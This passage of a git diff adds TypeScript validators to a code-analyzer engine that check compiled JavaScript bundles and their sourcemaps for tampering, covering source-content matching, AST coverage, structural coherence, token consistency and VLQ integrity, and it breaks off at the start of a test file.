number; + sources?: (string | null)[]; + sourcesContent?: (string | null)[]; + sourceRoot?: string; +} + +async function runByteEqualAndRatioChecks( + map: RawSourceMap, + mapPath: string, + sourceIndex: SourceIndex, + findings: ValidatorFinding[], +): Promise { + const sources = map.sources ?? []; + if (sources.length === 0) return; + + let virtualCount = 0; + let total = 0; + + for (let i = 0; i < sources.length; i++) { + const raw = sources[i]; + if (raw == null) continue; + total++; + const normalized = normalizeSourcePath(raw); + + if (isVirtualSource(normalized)) { + virtualCount++; + continue; + } + if (isDependency(normalized) || isAsset(normalized)) { + continue; + } + + const submitted = sourceIndex.get(normalized); + const embedded = map.sourcesContent?.[i] ?? null; + + if (submitted == null) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentReferencesUnknownSource', raw, normalized), + file: mapPath, + }); + continue; + } + + if (embedded == null) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentMissingInline', normalized), + file: mapPath, + }); + continue; + } + + if (normalizeLineEndings(embedded).trim() !== normalizeLineEndings(submitted).trim()) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentBytewiseMismatch', normalized), + file: mapPath, + }); + } + } + + if (total > 0) { + const virtualPct = (virtualCount / total) * 100; + if (virtualPct > VIRTUAL_SOURCE_RATIO_THRESHOLD_PCT) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentExcessiveVirtualSources', virtualPct.toFixed(0), total, VIRTUAL_SOURCE_RATIO_THRESHOLD_PCT), + file: mapPath, + }); + } + } +} + +async function runAstChecks( + jsPath: string, + _mapPath: string, + compiledJs: string, + tracer: TraceMap, + sourceIndex: SourceIndex, + findings: ValidatorFinding[], +): Promise { + let significantNodes: SignificantNode[]; + try { + significantNodes = collectSignificantNodes(compiledJs); + } catch (err) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentCompiledParseFailed', (err as Error).message), + file: jsPath, + }); + return; + } + if (significantNodes.length === 0) return; + + const sourceAstCache = new Map(); + + let mappedCount = 0; + let typeMismatchCount = 0; + const unmapped: SignificantNode[] = []; + const typeMismatches: string[] = []; + const orphanSources = new Set(); + + for (const node of significantNodes) { + const orig = originalPositionFor(tracer, { line: node.line, column: node.column }); + if (orig.source == null || orig.line == null) { + unmapped.push(node); + continue; + } + mappedCount++; + + const normalized = normalizeSourcePath(orig.source); + + if (isVirtualSource(normalized) || isDependency(normalized) || isAsset(normalized)) continue; + + const submittedContent = sourceIndex.get(normalized); + if (submittedContent == null) { + orphanSources.add(normalized); + continue; + } + + const sourceAst = getSourceAst(normalized, submittedContent, sourceAstCache); + if (!sourceAst) continue; + const srcByteOffset = lineColToByteOffset(sourceAst.lineOffsets, orig.line, orig.column ?? 0); + const srcNode = findNodeAtOffset(sourceAst.nodes, srcByteOffset); + if (srcNode && !nodeTypesCompatible(node.type, srcNode.type)) { + typeMismatchCount++; + if (typeMismatches.length < 5) { + typeMismatches.push( + `${node.type} at ${node.line}:${node.column} → ${srcNode.type} at ${normalized}:${orig.line}:${orig.column ?? 0}`, + ); + } + } + } + + const total = significantNodes.length; + const coverage = (mappedCount / total) * 100; + const threshold = + total >= SMALL_FILE_NODE_COUNT ? COVERAGE_THRESHOLD_LARGE : COVERAGE_THRESHOLD_SMALL; + const typeMismatchRatio = mappedCount > 0 ? typeMismatchCount / mappedCount : 0; + + if (coverage < threshold) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentCoverageBelowThreshold', coverage.toFixed(1), threshold, mappedCount, total), + file: jsPath, + }); + for (const node of unmapped.slice(0, 5)) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentUnmappedNode', node.type, node.line, node.column, truncate(node.snippet, 80)), + file: jsPath, + startLine: node.line, + startColumn: node.column + 1, + }); + } + } + + if (typeMismatchRatio >= TYPE_MISMATCH_THRESHOLD) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentTypeMismatchRatio', (typeMismatchRatio * 100).toFixed(1), (TYPE_MISMATCH_THRESHOLD * 100).toString(), typeMismatchCount, mappedCount), + file: jsPath, + }); + for (const mm of typeMismatches) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentTypeMismatchDetail', mm), + file: jsPath, + }); + } + } + + const dangerousUnmapped = unmapped.filter( + (n) => (n.line > 1 || n.column >= LINE1_BANNER_EXEMPT_CHARS) && containsDangerousPattern(n.snippet), + ); + for (const n of dangerousUnmapped.slice(0, 10)) { + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentDangerousUnmapped', n.type, n.line, n.column, truncate(n.snippet, 100)), + file: jsPath, + startLine: n.line, + startColumn: n.column + 1, + }); + } + + if (orphanSources.size > 0) { + const listed = [...orphanSources].slice(0, 5).join(", ") + (orphanSources.size > 5 ? ", …" : ""); + findings.push({ + ruleName: SOURCE_CONTENT_VERIFICATION_RULE, + message: getMessage('SourceContentOrphanSources', orphanSources.size, listed), + file: jsPath, + }); + } +} + +function collectSignificantNodes(code: string): SignificantNode[] { + const ast = parse(code, PARSER_OPTIONS); + const out: SignificantNode[] = []; + traverse(ast, { + enter(nodePath: NodePath) { + const node = nodePath.node; + if (!SIGNIFICANT_NODE_TYPES.has(node.type)) return; + if (!node.loc) return; + const start = node.loc.start; + const byteOffset = node.start ?? 0; + const snippet = extractSnippet(code, byteOffset, 60); + out.push({ + type: normalizeNodeType(node.type), + line: start.line, + column: start.column, + byteOffset, + snippet, + }); + }, + }); + return out; +} + +interface SourceAst { + nodes: SignificantNode[]; + lineOffsets: number[]; +} + +function getSourceAst( + normalized: string, + content: string, + cache: Map, +): SourceAst | null { + if (cache.has(normalized)) return cache.get(normalized) ?? null; + try { + const nodes = collectSignificantNodes(content); + const lineOffsets = buildLineOffsets(content); + const val: SourceAst = { nodes, lineOffsets }; + cache.set(normalized, val); + return val; + } catch { + cache.set(normalized, null); + return null; + } +} + +function buildLineOffsets(text: string): number[] { + const offsets: number[] = [0]; + for (let i = 0; i < text.length; i++) { + if (text.charCodeAt(i) === 10 /* \n */) offsets.push(i + 1); + } + return offsets; +} + +function lineColToByteOffset(lineOffsets: number[], line1: number, col0: number): number { + const line = Math.max(0, line1 - 1); + if (line < lineOffsets.length) return lineOffsets[line]! + col0; + return (lineOffsets[lineOffsets.length - 1] ?? 0) + col0; +} + +function findNodeAtOffset(nodes: SignificantNode[], byteOffset: number): SignificantNode | null { + const tol = AST_MATCH_TOLERANCE_BYTES; + // Nodes are produced by babel traversal in document order — byteOffset is non-decreasing. + // Binary-search the first node with byteOffset >= (target - tol), then linearly scan the + // tolerance window (at most a few nodes wide). + const lowerTarget = byteOffset - tol; + let lo = 0; + let hi = nodes.length; + while (lo < hi) { + const mid = (lo + hi) >>> 1; + if (nodes[mid]!.byteOffset < lowerTarget) lo = mid + 1; + else hi = mid; + } + let best: SignificantNode | null = null; + let bestDist = Number.POSITIVE_INFINITY; + for (let i = lo; i < nodes.length; i++) { + const n = nodes[i]!; + if (n.byteOffset > byteOffset + tol) break; + const dist = Math.abs(n.byteOffset - byteOffset); + if (dist < bestDist) { + bestDist = dist; + best = n; + } + } + return best; +} + +export function nodeTypesCompatible(generated: string, source: string): boolean { + if (generated === source) return true; + const funcs = new Set(["FunctionDeclaration", "FunctionExpression", "ArrowFunctionExpression"]); + if (funcs.has(generated) && funcs.has(source)) return true; + if ( + (generated === "CallExpression" || generated === "NewExpression") && + (source === "CallExpression" || source === "NewExpression") + ) + return true; + if ( + (generated === "AssignmentExpression" && source === "VariableDeclaration") || + (generated === "VariableDeclaration" && source === "AssignmentExpression") + ) + return true; + if ( + (generated === "MemberExpression" && source === "CallExpression") || + (generated === "CallExpression" && source === "MemberExpression") + ) + return true; + const declarations = new Set([ + "FunctionDeclaration", + "ClassDeclaration", + "VariableDeclaration", + "FunctionExpression", + "ArrowFunctionExpression", + ]); + if (generated === "ExportDeclaration" && declarations.has(source)) return true; + if (source === "ExportDeclaration" && declarations.has(generated)) return true; + return false; +} + +function extractSnippet(text: string, byteOffset: number, maxLen: number): string { + const start = byteOffset; + if (start >= text.length) return ""; + const end = Math.min(text.length, start + maxLen); + return text.slice(start, end).replace(/\n/g, " ").replace(/\r/g, ""); +} + +function truncate(s: string, n: number): string { + return s.length <= n ? s : s.slice(0, n) + "…"; +} + diff --git a/packages/code-analyzer-uibundle-engine/src/validators/sourcemap-io.ts b/packages/code-analyzer-uibundle-engine/src/validators/sourcemap-io.ts new file mode 100644 index 00000000..72425c96 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/sourcemap-io.ts @@ -0,0 +1,94 @@ +import { promises as fs } from "node:fs"; +import * as path from "node:path"; +import { isSourcemap, toPosixPath } from "./classification"; + +export type SourceIndex = Map; + +const INDEX_IGNORE_PREFIXES = ["node_modules", ".git", "dist"]; + +export async function buildSourceIndex(sourcePath: string): Promise { + const raw: SourceIndex = new Map(); + await walk(sourcePath, async (abs) => { + const rel = toPosixPath(path.relative(sourcePath, abs)); + if (INDEX_IGNORE_PREFIXES.some((prefix) => rel.startsWith(prefix))) return; + try { + const content = await fs.readFile(abs, "utf8"); + raw.set(rel, content); + } catch { + // skip + } + }); + const base = path.basename(sourcePath); + const expanded: SourceIndex = new Map(raw); + for (const [rel, content] of raw) { + expanded.set(`${base}/${rel}`, content); + } + return expanded; +} + +export interface RawSourceMap { + version: number; + file?: string; + sourceRoot?: string; + sources: (string | null)[]; + sourcesContent?: (string | null)[]; + names?: string[]; + mappings: string; +} + +export interface LoadedSourceMap { + path: string; + map: RawSourceMap; +} + +export interface SourceMapParseError { + path: string; + message: string; +} + +export interface CollectedSourceMaps { + maps: LoadedSourceMap[]; + parseErrors: SourceMapParseError[]; +} + +export async function collectSourceMaps(root: string): Promise { + const maps: LoadedSourceMap[] = []; + const parseErrors: SourceMapParseError[] = []; + await walk(root, async (file) => { + if (!isSourcemap(file)) return; + let raw: string; + try { + raw = await fs.readFile(file, "utf8"); + } catch { + return; + } + let map: RawSourceMap; + try { + map = JSON.parse(raw) as RawSourceMap; + } catch (err) { + parseErrors.push({ path: file, message: (err as Error).message }); + return; + } + if (typeof map?.mappings === "string" && Array.isArray(map?.sources)) { + maps.push({ path: file, map }); + } + }); + return { maps, parseErrors }; +} + +export async function walk(root: string, visit: (file: string) => Promise): Promise { + let entries; + try { + entries = await fs.readdir(root, { withFileTypes: true }); + } catch { + return; + } + for (const entry of entries) { + const full = path.join(root, entry.name); + if (entry.isDirectory()) { + await walk(full, visit); + } else if (entry.isFile()) { + await visit(full); + } + } +} diff --git a/packages/code-analyzer-uibundle-engine/src/validators/structural-coherence.ts b/packages/code-analyzer-uibundle-engine/src/validators/structural-coherence.ts new file mode 100644 index 00000000..e04f1a7c --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/structural-coherence.ts @@ -0,0 +1,239 @@ +import { promises as fs } from "node:fs"; +import { TraceMap, eachMapping, sourceContentFor } from "@jridgewell/trace-mapping"; +import { isAsset, isCompiledJs, isDependency, normalizeSourcePath } from "./classification"; +import { buildSourceIndex, walk, type SourceIndex } from "./sourcemap-io"; +import { getMessage } from "../messages"; +import type { ValidatorFinding, ValidatorResult } from "./types"; + +export const STRUCTURAL_COHERENCE_RULE = "structural-coherence"; + +const WHITESPACE_SAMPLE_INTERVAL = 10; +const WHITESPACE_SUSPICION_THRESHOLD = 0.8; +const JUMP_RATIO_WARN = 0.5; +const MAX_LISTED_BOUNDS = 10; + +interface BoundsViolation { + sourceFile: string; + claimedLine: number; + claimedCol: number; + actualLines: number; +} + +export interface StructuralCoherenceOptions { + sourcePath: string; + distPath: string; + sourceIndex?: SourceIndex; +} + +export async function validateStructuralCoherence( + options: StructuralCoherenceOptions, +): Promise { + let sourceStat, distStat; + try { + sourceStat = await fs.stat(options.sourcePath); + } catch { + return { findings: [], skipped: { reason: `source path not found: ${options.sourcePath}` } }; + } + try { + distStat = await fs.stat(options.distPath); + } catch { + return { findings: [], skipped: { reason: `dist path not found: ${options.distPath}` } }; + } + if (!sourceStat.isDirectory() || !distStat.isDirectory()) { + return { findings: [], skipped: { reason: "source and dist must both be directories" } }; + } + + const sourceIndex = options.sourceIndex ?? await buildSourceIndex(options.sourcePath); + const findings: ValidatorFinding[] = []; + + await walk(options.distPath, async (jsPath) => { + if (!isCompiledJs(jsPath)) return; + const mapPath = `${jsPath}.map`; + let mapRaw: string; + try { + mapRaw = await fs.readFile(mapPath, "utf8"); + } catch { + return; + } + let tracer: TraceMap; + try { + tracer = new TraceMap(mapRaw); + } catch { + return; + } + + const report = analyzeCoherence(tracer, sourceIndex); + + if (report.totalMappingsChecked === 0) return; + + if (report.boundsViolations.length > 0) { + findings.push({ + ruleName: STRUCTURAL_COHERENCE_RULE, + message: getMessage('CoherenceBoundsSummary', report.boundsViolations.length), + file: mapPath, + }); + for (const v of report.boundsViolations.slice(0, MAX_LISTED_BOUNDS)) { + findings.push({ + ruleName: STRUCTURAL_COHERENCE_RULE, + message: getMessage('CoherenceBoundsDetail', v.sourceFile, v.claimedLine + 1, v.claimedCol + 1, v.actualLines), + file: mapPath, + }); + } + } + + if (report.whitespaceSampleCount > 0) { + const wsRatio = report.whitespaceOnlyMappings / report.whitespaceSampleCount; + if (wsRatio > WHITESPACE_SUSPICION_THRESHOLD) { + findings.push({ + ruleName: STRUCTURAL_COHERENCE_RULE, + message: getMessage('CoherenceWhitespaceSuspicious', (wsRatio * 100).toFixed(1), report.whitespaceOnlyMappings, report.whitespaceSampleCount, (WHITESPACE_SUSPICION_THRESHOLD * 100).toString()), + file: mapPath, + }); + } + } + + if (report.suspiciousJumpRatio > JUMP_RATIO_WARN) { + findings.push({ + ruleName: STRUCTURAL_COHERENCE_RULE, + message: getMessage('CoherenceCrossFileJumpsSuspicious', report.suspiciousJumpRatio.toFixed(2), JUMP_RATIO_WARN.toString()), + file: mapPath, + }); + } + }); + + return { findings }; +} + +export function analyzeCoherence( + tracer: TraceMap, + sourceContents: Map, +): { + totalMappingsChecked: number; + boundsViolations: BoundsViolation[]; + whitespaceOnlyMappings: number; + whitespaceSampleCount: number; + suspiciousJumpRatio: number; +} { + const submittedLines = new Map(); + for (const [key, content] of sourceContents) { + submittedLines.set(key, content.split("\n")); + } + + const embeddedLines = new Map(); + + let totalMappingsChecked = 0; + const boundsViolations: BoundsViolation[] = []; + let whitespaceOnlyMappings = 0; + let whitespaceSampleCount = 0; + + let prevSource: string | null = null; + let prevDstLine: number | null = null; + let consecutivePairs = 0; + let crossFileJumps = 0; + let sampleIndex = 0; + + eachMapping(tracer, (m) => { + if (m.source == null || m.originalLine == null || m.originalColumn == null) return; + const srcRaw = m.source; + const normalized = normalizeSourcePath(srcRaw); + + if (isAsset(normalized) || isDependency(normalized)) return; + + const srcLine = m.originalLine - 1; + const srcCol = m.originalColumn; + const dstLine = m.generatedLine - 1; + + let lines = submittedLines.get(normalized); + if (!lines) { + lines = embeddedLines.get(srcRaw); + if (!lines) { + try { + const contents = sourceContentFor(tracer, srcRaw); + if (contents != null) { + lines = contents.split("\n"); + embeddedLines.set(srcRaw, lines); + } + } catch { + // skip + } + } + if (!lines) return; + } + + totalMappingsChecked++; + + const actualLines = lines.length; + if (srcLine >= actualLines) { + boundsViolations.push({ + sourceFile: normalized, + claimedLine: srcLine, + claimedCol: srcCol, + actualLines, + }); + } else { + const lineLen = lines[srcLine]!.length; + if (srcCol > lineLen) { + boundsViolations.push({ + sourceFile: normalized, + claimedLine: srcLine, + claimedCol: srcCol, + actualLines, + }); + } + } + + if (sampleIndex % WHITESPACE_SAMPLE_INTERVAL === 0 && srcLine < actualLines) { + whitespaceSampleCount++; + if (pointsToWhitespaceOrCommentInLines(lines, srcLine, srcCol)) { + whitespaceOnlyMappings++; + } + } + sampleIndex++; + + if (prevDstLine !== null && dstLine === prevDstLine) { + if (prevSource !== null) { + consecutivePairs++; + if (prevSource !== srcRaw) crossFileJumps++; + } + } + prevSource = srcRaw; + prevDstLine = dstLine; + }); + + const suspiciousJumpRatio = consecutivePairs > 0 ? crossFileJumps / consecutivePairs : 0; + + return { + totalMappingsChecked, + boundsViolations, + whitespaceOnlyMappings, + whitespaceSampleCount, + suspiciousJumpRatio, + }; +} + +export function pointsToWhitespaceOrComment(source: string, line0: number, col0: number): boolean { + return pointsToWhitespaceOrCommentInLines(source.split("\n"), line0, col0); +} + +function pointsToWhitespaceOrCommentInLines(lines: string[], line0: number, col0: number): boolean { + if (line0 >= lines.length) return false; + const lineText = lines[line0]!; + if (col0 >= lineText.length) return true; + + const fromCol = lineText.slice(col0); + const trimmed = fromCol.replace(/^[\s]+/, ""); + if (trimmed.length === 0) return true; + if (trimmed.startsWith("//") || trimmed.startsWith("/*") || trimmed.startsWith("*")) return true; + + const lineTrimmed = lineText.trim(); + if ( + lineTrimmed.startsWith("//") || + lineTrimmed.startsWith("/*") || + lineTrimmed.startsWith("*") || + lineTrimmed.endsWith("*/") + ) + return true; + + return false; +} + diff --git a/packages/code-analyzer-uibundle-engine/src/validators/token-consistency.ts b/packages/code-analyzer-uibundle-engine/src/validators/token-consistency.ts new file mode 100644 index 00000000..4c2aa71b --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/token-consistency.ts @@ -0,0 +1,292 @@ +import { promises as fs } from "node:fs"; +import { TraceMap, eachMapping, sourceContentFor } from "@jridgewell/trace-mapping"; +import { isAsset, isCompiledJs, isDependency, isVirtualSource, normalizeSourcePath } from "./classification"; +import { buildSourceIndex, walk, type SourceIndex } from "./sourcemap-io"; +import { getMessage } from "../messages"; +import type { ValidatorFinding, ValidatorResult } from "./types"; + +export const TOKEN_CONSISTENCY_RULE = "token-consistency"; + +const SAMPLE_INTERVAL = 20; +const NAME_WINDOW_TOLERANCE = 3; +const VERDICT_SUSPICIOUS = 0.7; +const VERDICT_WARNING = 0.85; +const MAX_LISTED_MISMATCHES = 3; + +// Compiler-synthetic identifiers emitted by JSX runtimes into the sourcemap `names` array. +// These do not exist as literal identifiers in the .tsx/.jsx source (which contains JSX +// syntax like
, not the string "jsx"), so a name mismatch here is structural, not +// tamper. Suppressed only when the source is a JSX/TSX file — a forged "jsx" name on a +// non-JSX source is still surfaced. +const JSX_SYNTHETIC_NAMES = new Set(["jsx", "jsxs", "jsxDEV", "Fragment"]); +const JSX_SOURCE_PATTERN = /\.(tsx|jsx)$/i; + +export type TokenCategory = + | "StringLiteral" + | "NumericLiteral" + | "Identifier" + | "Punctuation" + | "Other"; + +interface NameMismatch { + expectedName: string; + sourceFile: string; + line: number; + col: number; + foundText: string; +} + +export interface TokenConsistencyOptions { + sourcePath: string; + distPath: string; + sourceIndex?: SourceIndex; +} + +export async function validateTokenConsistency( + options: TokenConsistencyOptions, +): Promise { + let sourceStat, distStat; + try { + sourceStat = await fs.stat(options.sourcePath); + } catch { + return { findings: [], skipped: { reason: `source path not found: ${options.sourcePath}` } }; + } + try { + distStat = await fs.stat(options.distPath); + } catch { + return { findings: [], skipped: { reason: `dist path not found: ${options.distPath}` } }; + } + if (!sourceStat.isDirectory() || !distStat.isDirectory()) { + return { findings: [], skipped: { reason: "source and dist must both be directories" } }; + } + + const sourceIndex = options.sourceIndex ?? await buildSourceIndex(options.sourcePath); + const findings: ValidatorFinding[] = []; + + await walk(options.distPath, async (jsPath) => { + if (!isCompiledJs(jsPath)) return; + const mapPath = `${jsPath}.map`; + let mapRaw: string; + try { + mapRaw = await fs.readFile(mapPath, "utf8"); + } catch { + return; + } + let tracer: TraceMap; + try { + tracer = new TraceMap(mapRaw); + } catch { + return; + } + let compiledJs: string; + try { + compiledJs = await fs.readFile(jsPath, "utf8"); + } catch { + return; + } + + const report = analyzeTokenConsistency(tracer, compiledJs, sourceIndex); + if (report.totalSampled === 0) return; + + if (report.consistencyScore < VERDICT_SUSPICIOUS) { + findings.push({ + ruleName: TOKEN_CONSISTENCY_RULE, + message: getMessage('TokenConsistencySuspicious', (report.consistencyScore * 100).toFixed(1), (VERDICT_SUSPICIOUS * 100).toString(), report.consistent, report.totalSampled), + file: mapPath, + }); + } else if (report.consistencyScore < VERDICT_WARNING) { + findings.push({ + ruleName: TOKEN_CONSISTENCY_RULE, + message: getMessage('TokenConsistencyBelowWarning', (report.consistencyScore * 100).toFixed(1), (VERDICT_WARNING * 100).toString(), report.consistent, report.totalSampled), + file: mapPath, + }); + } + + if (report.nameMismatches.length > 0) { + findings.push({ + ruleName: TOKEN_CONSISTENCY_RULE, + message: getMessage('TokenNameMismatchSummary', report.nameMismatches.length, NAME_WINDOW_TOLERANCE), + file: mapPath, + }); + for (const m of report.nameMismatches.slice(0, MAX_LISTED_MISMATCHES)) { + findings.push({ + ruleName: TOKEN_CONSISTENCY_RULE, + message: getMessage('TokenNameMismatchDetail', m.expectedName, m.sourceFile, m.line + 1, m.col + 1, m.foundText), + file: mapPath, + }); + } + } + }); + + return { findings }; +} + +export function analyzeTokenConsistency( + tracer: TraceMap, + compiledJs: string, + sourceContents: Map, +): { + totalSampled: number; + consistent: number; + inconsistent: number; + nameMismatches: NameMismatch[]; + consistencyScore: number; +} { + const compiledLines = compiledJs.split("\n"); + const linesCache = new Map(); + for (const [key, content] of sourceContents) { + linesCache.set(key, content.split("\n")); + } + const embeddedLinesCache = new Map(); + + let totalSampled = 0; + let consistent = 0; + let inconsistent = 0; + const nameMismatches: NameMismatch[] = []; + + let idx = -1; + eachMapping(tracer, (m) => { + idx++; + if (idx % SAMPLE_INTERVAL !== 0) return; + if (m.source == null || m.originalLine == null || m.originalColumn == null) return; + + const srcRaw = m.source; + const normalized = normalizeSourcePath(srcRaw); + + if (isDependency(normalized) || isAsset(normalized) || isVirtualSource(normalized)) return; + + let sourceLines = linesCache.get(normalized) ?? null; + if (sourceLines == null) { + if (embeddedLinesCache.has(srcRaw)) { + sourceLines = embeddedLinesCache.get(srcRaw) ?? null; + } else { + try { + const c = sourceContentFor(tracer, srcRaw); + const split = c != null ? c.split("\n") : null; + embeddedLinesCache.set(srcRaw, split); + sourceLines = split; + } catch { + embeddedLinesCache.set(srcRaw, null); + } + } + } + if (sourceLines == null) return; + + const srcLine = m.originalLine - 1; + const srcCol = m.originalColumn; + const dstLine = m.generatedLine - 1; + const dstCol = m.generatedColumn; + + // JSX-runtime synthetic samples (compiled `_jsx(...)` → JSX syntax on the source + // side) always disagree on both name and category. These are structural, not + // tamper — exclude the entire sample from the score so the threshold stays honest. + const isJsxSyntheticOnJsxSource = + m.name != null && + JSX_SYNTHETIC_NAMES.has(m.name) && + JSX_SOURCE_PATTERN.test(normalized); + if (isJsxSyntheticOnJsxSource) return; + + totalSampled++; + + if (m.name != null) { + const [found, foundText] = nameExistsNearInLines(sourceLines, srcLine, srcCol, m.name); + if (!found && !isNamespacePrefixMatch(m.name, foundText)) { + nameMismatches.push({ + expectedName: m.name, + sourceFile: normalized, + line: srcLine, + col: srcCol, + foundText, + }); + } + } + + const genCat = classifyTokenAtInLines(compiledLines, dstLine, dstCol); + const srcCat = classifyTokenAtInLines(sourceLines, srcLine, srcCol); + if (categoriesAreConsistent(genCat, srcCat)) { + consistent++; + } else { + inconsistent++; + } + }); + + const consistencyScore = totalSampled > 0 ? consistent / totalSampled : 1.0; + + return { totalSampled, consistent, inconsistent, nameMismatches, consistencyScore }; +} + +export function classifyTokenAt(text: string, line0: number, col0: number): TokenCategory { + return classifyTokenAtInLines(text.split("\n"), line0, col0); +} + +function classifyTokenAtInLines(lines: string[], line0: number, col0: number): TokenCategory { + if (line0 >= lines.length) return "Other"; + const lineText = lines[line0]!; + if (col0 >= lineText.length) return "Other"; + const ch = lineText.charAt(col0); + if (ch === '"' || ch === "'" || ch === "`") return "StringLiteral"; + if (ch >= "0" && ch <= "9") return "NumericLiteral"; + if (/[A-Za-z_$]/.test(ch)) return "Identifier"; + if (/\s/.test(ch)) return "Other"; + return "Punctuation"; +} + +function categoriesAreConsistent(gen: TokenCategory, src: TokenCategory): boolean { + if (gen === src) return true; + if (gen === "Other" || src === "Other") return true; + if ( + (gen === "NumericLiteral" && src === "Identifier") || + (gen === "Identifier" && src === "NumericLiteral") + ) + return true; + return false; +} + +function nameExistsNearInLines( + lines: string[], + line0: number, + col0: number, + expected: string, +): [boolean, string] { + if (line0 >= lines.length) return [false, ""]; + const lineText = lines[line0]!; + + for (let offset = 0; offset <= NAME_WINDOW_TOLERANCE; offset++) { + for (const dir of [1, -1]) { + const checkCol = offset === 0 ? col0 : col0 + offset * dir; + if (checkCol < 0) continue; + const word = extractWordAt(lineText, checkCol, expected.length + 5); + if (word === expected) return [true, word]; + if (offset === 0) break; + } + } + + const found = extractWordAt(lineText, col0, expected.length + 10); + return [false, found]; +} + +// Recognizes namespaced member-expression names like "SelectPrimitive.Viewport" whose +// sourcemap points at the container identifier "SelectPrimitive" — a legitimate bundler +// artifact (Radix UI, react-aria, etc.), not tamper. The suppression is narrow: the +// expected name must be a qualified path AND the found text must be its exact leftmost +// segment. Token-category comparison at the same sample still runs, and the +// source-content-verification / structural-coherence rules cover injection at any name. +function isNamespacePrefixMatch(expected: string, foundText: string): boolean { + if (foundText.length === 0) return false; + const dot = expected.indexOf("."); + if (dot <= 0) return false; + return expected.slice(0, dot) === foundText; +} + +function extractWordAt(line: string, col: number, maxLen: number): string { + if (col >= line.length) return ""; + let out = ""; + const end = Math.min(line.length, col + maxLen); + for (let i = col; i < end; i++) { + const c = line.charAt(i); + if (/[A-Za-z0-9_$]/.test(c)) out += c; + else break; + } + return out; +} + diff --git a/packages/code-analyzer-uibundle-engine/src/validators/types.ts b/packages/code-analyzer-uibundle-engine/src/validators/types.ts new file mode 100644 index 00000000..d099f903 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/types.ts @@ -0,0 +1,14 @@ +export interface ValidatorFinding { + ruleName: string; + message: string; + file: string; + startLine?: number; + startColumn?: number; +} + +export interface ValidatorResult { + findings: ValidatorFinding[]; + skipped?: { + reason: string; + }; +} diff --git a/packages/code-analyzer-uibundle-engine/src/validators/vlq-integrity.ts b/packages/code-analyzer-uibundle-engine/src/validators/vlq-integrity.ts new file mode 100644 index 00000000..a0d74d5b --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/src/validators/vlq-integrity.ts @@ -0,0 +1,103 @@ +import { promises as fs } from "node:fs"; +import { decode } from "@jridgewell/sourcemap-codec"; +import { isSourcemap } from "./classification"; +import { walk } from "./sourcemap-io"; +import { getMessage } from "../messages"; +import type { ValidatorFinding, ValidatorResult } from "./types"; + +export const VLQ_INTEGRITY_RULE = "vlq-integrity"; + +interface RawMap { + version?: number; + sources?: unknown; + mappings?: unknown; + names?: unknown; +} + +export async function validateVlqIntegrity(distPath: string): Promise { + const findings: ValidatorFinding[] = []; + + await walk(distPath, async (file) => { + if (!isSourcemap(file)) return; + + let raw: string; + try { + raw = await fs.readFile(file, "utf8"); + } catch { + return; + } + + let parsed: RawMap; + try { + parsed = JSON.parse(raw) as RawMap; + } catch (err) { + findings.push({ + ruleName: VLQ_INTEGRITY_RULE, + message: getMessage('SourcemapNotValidJson', (err as Error).message), + file, + }); + return; + } + + if (typeof parsed.mappings !== "string") { + findings.push({ + ruleName: VLQ_INTEGRITY_RULE, + message: getMessage('SourcemapMissingMappings'), + file, + }); + return; + } + if (!Array.isArray(parsed.sources)) { + findings.push({ + ruleName: VLQ_INTEGRITY_RULE, + message: getMessage('SourcemapMissingSourcesArray'), + file, + }); + return; + } + + let decoded: number[][][]; + try { + decoded = decode(parsed.mappings); + } catch (err) { + findings.push({ + ruleName: VLQ_INTEGRITY_RULE, + message: getMessage('VlqDecodingFailed', (err as Error).message), + file, + }); + return; + } + + const sourcesLen = (parsed.sources as unknown[]).length; + const namesLen = Array.isArray(parsed.names) ? (parsed.names as unknown[]).length : 0; + + for (let lineIdx = 0; lineIdx < decoded.length; lineIdx++) { + const segments = decoded[lineIdx]!; + for (let segIdx = 0; segIdx < segments.length; segIdx++) { + const seg = segments[segIdx]!; + if (seg.length >= 4) { + const srcIdx = seg[1]!; + if (srcIdx < 0 || srcIdx >= sourcesLen) { + findings.push({ + ruleName: VLQ_INTEGRITY_RULE, + message: getMessage('SegmentSourceIndexOutOfRange', lineIdx + 1, segIdx + 1, srcIdx, sourcesLen), + file, + }); + } + } + if (seg.length === 5) { + const nameIdx = seg[4]!; + if (nameIdx < 0 || nameIdx >= namesLen) { + findings.push({ + ruleName: VLQ_INTEGRITY_RULE, + message: getMessage('SegmentNameIndexOutOfRange', lineIdx + 1, segIdx + 1, nameIdx, namesLen), + file, + }); + } + } + } + } + }); + + return { findings }; +} diff --git a/packages/code-analyzer-uibundle-engine/test/engine.test.ts b/packages/code-analyzer-uibundle-engine/test/engine.test.ts new file mode 100644 index 00000000..2dfd09b4 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/test/engine.test.ts @@ -0,0 +1,418 @@ +import { + EngineRunResults, + RuleDescription, + Workspace, +} from "@salesforce/code-analyzer-engine-api"; +import * as fs from "node:fs"; +import * as path from "node:path"; +import { UIBundleEngine } from "../src/engine"; +import { + changeWorkingDirectoryToPackageRoot, + createDescribeOptions, + createRunOptions, + installTmpDirCleanup, + makeTmpDir, + writeFile, +} from "./test-helpers"; + +changeWorkingDirectoryToPackageRoot(); +installTmpDirCleanup(); + +const TEST_DATA_FOLDER: string = path.join(__dirname, 'test-data'); +const GOLDFILE = 'uibundle-engine-goldfile.json'; + +describe('UIBundleEngine Tests', () => { + let expectedRules: 